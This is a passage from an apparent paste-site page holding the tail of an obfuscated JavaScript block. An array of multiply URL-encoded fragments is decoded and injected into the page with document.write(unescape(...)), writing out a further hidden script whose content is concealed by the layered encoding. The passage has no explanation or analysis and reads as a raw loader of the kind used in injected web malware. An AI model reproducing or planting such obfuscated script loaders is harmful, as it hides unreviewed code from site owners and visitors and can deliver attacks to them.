  3979. fF7eSD8[97]="30%255Cu0030%255Cu";
  3980. fF7eSD8[98]="0037%255Cu0030%255";
  3981. fF7eSD8[99]="Cu005c%255Cu00";
  3982. fF7eSD8[100]="75%255Cu0030%255";
  3983. fF7eSD8[101]="Cu0030%255Cu00";
  3984. fF7eSD8[102]="33%255Cu0061%255Cu";
  3985. fF7eSD8[103]="005c%255Cu0075";
  3986. fF7eSD8[104]="%255Cu0030%255C";
  3987. fF7eSD8[105]="u0030%255Cu0032%25";
  3988. fF7eSD8[106]="5Cu0066%255Cu00";
  3989. fF7eSD8[107]="5c%255Cu0075%255Cu";
  3990. fF7eSD8[108]="0030%255Cu0030%25";
  3991. fF7eSD8[109]="5Cu0032%255Cu0";
  3992. fF7eSD8[110]="066%255Cu005c";
  3993. fF7eSD8[111]="%255Cu0075%255Cu";
  3994. fF7eSD8[112]="0030%255Cu0030%25";
  3995. fF7eSD8[113]="5Cu0036%255Cu003";
  3996. fF7eSD8[114]="4%255Cu005c%255C";
  3997. fF7eSD8[115]="u0075%255Cu003";
  3998. fF7eSD8[116]="0%255Cu0030%255C";
  3999. fF7eSD8[117]="u0036%255Cu00";
  4000. fF7eSD8[118]="31%255Cu005c%255";
  4001. fF7eSD8[119]="Cu0075%255Cu00";
  4002. fF7eSD8[120]="30%255Cu0030%255Cu";
  4003. fF7eSD8[121]="0037%255Cu0034";
  4004. fF7eSD8[122]="%255Cu005c%255Cu00";
  4005. fF7eSD8[123]="75%255Cu0030%255C";
  4006. fF7eSD8[124]="u0030%255Cu003";
  4007. fF7eSD8[125]="6%255Cu0031%255";
  4008. fF7eSD8[126]="Cu005c%255Cu007";
  4009. fF7eSD8[127]="5%255Cu0030%255";
  4010. fF7eSD8[128]="Cu0030%255Cu0";
  4011. fF7eSD8[129]="032%255Cu0065";
  4012. fF7eSD8[130]="%255Cu005c%255C";
  4013. fF7eSD8[131]="u0075%255Cu0030%25";
  4014. fF7eSD8[132]="5Cu0030%255Cu003";
  4015. fF7eSD8[133]="7%255Cu0034%255Cu0";
  4016. fF7eSD8[134]="05c%255Cu0075%255C";
  4017. fF7eSD8[135]="u0030%255Cu00";
  4018. fF7eSD8[136]="30%255Cu0033%255C";
  4019. fF7eSD8[137]="u0030%255Cu005";
  4020. fF7eSD8[138]="c%255Cu0075%255Cu";
  4021. fF7eSD8[139]="0030%255Cu003";
  4022. fF7eSD8[140]="0%255Cu0033%255C";
  4023. fF7eSD8[141]="u0030%255Cu005";
  4024. fF7eSD8[142]="c%255Cu0075%255";
  4025. fF7eSD8[143]="Cu0030%255Cu0";
  4026. fF7eSD8[144]="030%255Cu0036%255C";
  4027. fF7eSD8[145]="u0063%255Cu005c";
  4028. fF7eSD8[146]="%255Cu0075%255C";
  4029. fF7eSD8[147]="u0030%255Cu00";
  4030. fF7eSD8[148]="30%255Cu0037%25";
  4031. fF7eSD8[149]="5Cu0033%255Cu00";
  4032. fF7eSD8[150]="5c%255Cu0075%255";
  4033. fF7eSD8[151]="Cu0030%255Cu00";
  4034. fF7eSD8[152]="30%255Cu0032%255";
  4035. fF7eSD8[153]="Cu0065%255Cu005c";
  4036. fF7eSD8[154]="%255Cu0075%255C";
  4037. fF7eSD8[155]="u0030%255Cu00";
  4038. fF7eSD8[156]="30%255Cu0036%255Cu";
  4039. fF7eSD8[157]="0066%255Cu005c%255";
  4040. fF7eSD8[158]="Cu0075%255Cu00";
  4041. fF7eSD8[159]="30%255Cu0030%255Cu";
  4042. fF7eSD8[160]="0037%255Cu0032%25";
  4043. fF7eSD8[161]="5Cu005c%255Cu007";
  4044. fF7eSD8[162]="5%255Cu0030%255C";
  4045. fF7eSD8[163]="u0030%255Cu0036%25";
  4046. fF7eSD8[164]="5Cu0037%255Cu00";
  4047. fF7eSD8[165]="5c%255Cu0075%255";
  4048. fF7eSD8[166]="Cu0030%255Cu0030";
  4049. fF7eSD8[167]="%255Cu0032%255Cu00";
  4050. fF7eSD8[168]="66%255Cu005c%255";
  4051. fF7eSD8[169]="Cu0075%255Cu0";
  4052. fF7eSD8[170]="030%255Cu0030%255C";
  4053. fF7eSD8[171]="u0037%255Cu0037";
  4054. fF7eSD8[172]="%255Cu005c%255Cu";
  4055. fF7eSD8[173]="0075%255Cu0030%25";
  4056. fF7eSD8[174]="5Cu0030%255Cu";
  4057. fF7eSD8[175]="0036%255Cu0038%255";
  4058. fF7eSD8[176]="Cu005c%255Cu007";
  4059. fF7eSD8[177]="5%255Cu0030%255";
  4060. fF7eSD8[178]="Cu0030%255Cu0036";
  4061. fF7eSD8[179]="%255Cu0035%255Cu00";
  4062. fF7eSD8[180]="5c%255Cu0075%255Cu";
  4063. fF7eSD8[181]="0030%255Cu003";
  4064. fF7eSD8[182]="0%255Cu0037%255C";
  4065. fF7eSD8[183]="u0032%255Cu00";
  4066. fF7eSD8[184]="5c%255Cu0075%255";
  4067. fF7eSD8[185]="Cu0030%255Cu0";
  4068. fF7eSD8[186]="030%255Cu0036%25";
  4069. fF7eSD8[187]="5Cu0035%255Cu0";
  4070. fF7eSD8[188]="05c%255Cu0075";
  4071. fF7eSD8[189]="%255Cu0030%255Cu0";
  4072. fF7eSD8[190]="030%255Cu0032";
  4073. fF7eSD8[191]="%255Cu0065%255Cu";
  4074. fF7eSD8[192]="005c%255Cu0075";
  4075. fF7eSD8[193]="%255Cu0030%255Cu00";
  4076. fF7eSD8[194]="30%255Cu0036%25";
  4077. fF7eSD8[195]="5Cu0061%255Cu";
  4078. fF7eSD8[196]="005c%255Cu007";
  4079. fF7eSD8[197]="5%255Cu0030%255";
  4080. fF7eSD8[198]="Cu0030%255Cu0037";
  4081. fF7eSD8[199]="%255Cu0033%255Cu0";
  4082. fF7eSD8[200]="05c%255Cu0075%255C";
  4083. fF7eSD8[201]="u0030%255Cu00";
  4084. fF7eSD8[202]="30%255Cu0033%255Cu";
  4085. fF7eSD8[203]="0065%255Cu005";
  4086. fF7eSD8[204]="c%255Cu0075%255Cu";
  4087. fF7eSD8[205]="0030%255Cu0030%25";
  4088. fF7eSD8[206]="5Cu0033%255Cu00";
  4089. fF7eSD8[207]="63%255Cu005c%255C";
  4090. fF7eSD8[208]="u0075%255Cu0030";
  4091. fF7eSD8[209]="%255Cu0030%255Cu0";
  4092. fF7eSD8[210]="032%255Cu0066%255";
  4093. fF7eSD8[211]="Cu005c%255Cu0";
  4094. fF7eSD8[212]="075%255Cu0030%25";
  4095. fF7eSD8[213]="5Cu0030%255Cu";
  4096. fF7eSD8[214]="0035%255Cu0033%255";
  4097. fF7eSD8[215]="Cu005c%255Cu007";
  4098. fF7eSD8[216]="5%255Cu0030%255Cu0";
  4099. fF7eSD8[217]="030%255Cu0034%255";
  4100. fF7eSD8[218]="Cu0033%255Cu00";
  4101. fF7eSD8[219]="5c%255Cu0075%25";
  4102. fF7eSD8[220]="5Cu0030%255Cu0";
  4103. fF7eSD8[221]="030%255Cu0035";
  4104. fF7eSD8[222]="%255Cu0032%255Cu0";
  4105. fF7eSD8[223]="05c%255Cu0075";
  4106. fF7eSD8[224]="%255Cu0030%255Cu";
  4107. fF7eSD8[225]="0030%255Cu0034%25";
  4108. fF7eSD8[226]="5Cu0039%255Cu0";
  4109. fF7eSD8[227]="05c%255Cu0075%25";
  4110. fF7eSD8[228]="5Cu0030%255Cu";
  4111. fF7eSD8[229]="0030%255Cu0035%25";
  4112. fF7eSD8[230]="5Cu0030%255Cu";
  4113. fF7eSD8[231]="005c%255Cu0075%255";
  4114. fF7eSD8[232]="Cu0030%255Cu0";
  4115. fF7eSD8[233]="030%255Cu0035";
  4116. fF7eSD8[234]="%255Cu0034%255Cu0";
  4117. fF7eSD8[235]="05c%255Cu0075";
  4118. fF7eSD8[236]="%255Cu0030%255Cu";
  4119. fF7eSD8[237]="0030%255Cu0033%255";
  4120. fF7eSD8[238]="Cu0065%255Cu0";
  4121. fF7eSD8[239]="027%255Cu0029";
  4122. fF7eSD8[240]="%255Cu003c%255C";
  4123. fF7eSD8[241]="u002f%255Cu0073%25";
  4124. fF7eSD8[242]="5Cu0063%255Cu007";
  4125. fF7eSD8[243]="2%255Cu0069%255Cu";
  4126. fF7eSD8[244]="0070%255Cu007";
  4127. fF7eSD8[245]="4%255Cu003e%2527%25";
  4128. fF7eSD8[246]="29%253C/script%25";
  4129. fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
  4130. fF7eSD8[248]="pt%3E";
  4131. for (i = 0; i < fF7eSD8.length; i ++)
  4132. {
  4133. document.write(unescape(fF7eSD8[i]))
  4134. }
  4135. // -->
  4136. </script>
Add Comment
Please, Sign In to add comment